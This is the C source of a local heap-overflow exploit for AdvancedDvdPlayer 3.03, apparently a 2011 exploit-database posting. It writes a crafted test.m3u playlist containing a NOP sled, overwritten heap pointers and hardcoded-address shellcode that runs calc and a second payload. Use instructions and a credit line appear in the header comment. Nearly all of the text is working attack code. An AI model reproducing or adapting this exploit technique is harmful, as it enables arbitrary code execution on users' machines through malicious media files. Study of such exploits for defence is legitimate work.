|
/*
Not so usual exploit method
Local Heapoverflow exploit
An Advanced Exploit For An AdvancedDvdPlayer ;)
02-10-2011
AdvancedDvdPlayer 3.03
Download Link : http://download.cnet.com/Advanced-DVD-Player/3000-2139_4-10310889.html?tag=mncol;3
Tested on WinXP SP3
Compile and make a playlist and name it test.m3u, then run this en put the new test.m3u in de
\Program Files\AdvancedDVDPlayer folder then run
Old application but i wanna show this way of exploitation for educational purpose.
Owned by GoTr00t!
mail:aksuumit[AT]hotmail.com
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char scode_calc[] = "\x33\xDB" // xor EBX,EBX
"\x33\xD2" // xor EDX,EDX
"\x33\xFF" // XOR EDI,EDI
"\x33\xF6" // XOR ESI,ESI
"\x33\xC0\x50\x68\x43\x41\x4C\x43"
"\x8B\xCC\x51\xE8\x10\x92\x53\x76"; // Hardcoded shellcode addresses!
int main(){
char exploit[1000];
char NOPS[303];
memset(NOPS,0x90,sizeof(NOPS));
char shellcode[] = "\x33\xc0\x50\x68\xA0\xA0\xA0\x41"
"\x68\x57\x4E\x45\x44\x68\x52\x45\xA0\x4F"
"\x68\x4F\x55\xA0\x41\x68\xA0\xA0\xA0\x59"
"\x8B\xCC\x50\x51\x51\x50\xE8\xFD\x05\xd6\x7c"; // hardcoded addressed!
// 016F018C pointer to the pointer
char EAX[] = "\x8C\x01\x6F\x01";
strcat(exploit,"1\n");
strcat(exploit,NOPS);
strcat(exploit,"\x90"); // strange but without it my compiler wont compile it good ?
strcat(exploit,EAX);
strcat(exploit,"\x6C\x01\x6F\x01"); ////// 016F016C pointer to the actual call address
strcat(exploit,"\x94\x01\x6F\x01"); //// 016F0194
strcat(exploit,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");
strcat(exploit,scode_calc);
strcat(exploit,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");
strcat(exploit,shellcode);
strcat(exploit,".mpg\n");
FILE *fp;
fp=fopen("test.m3u","w");
fprintf(fp,exploit);
fclose(fp);
return 0;
}
|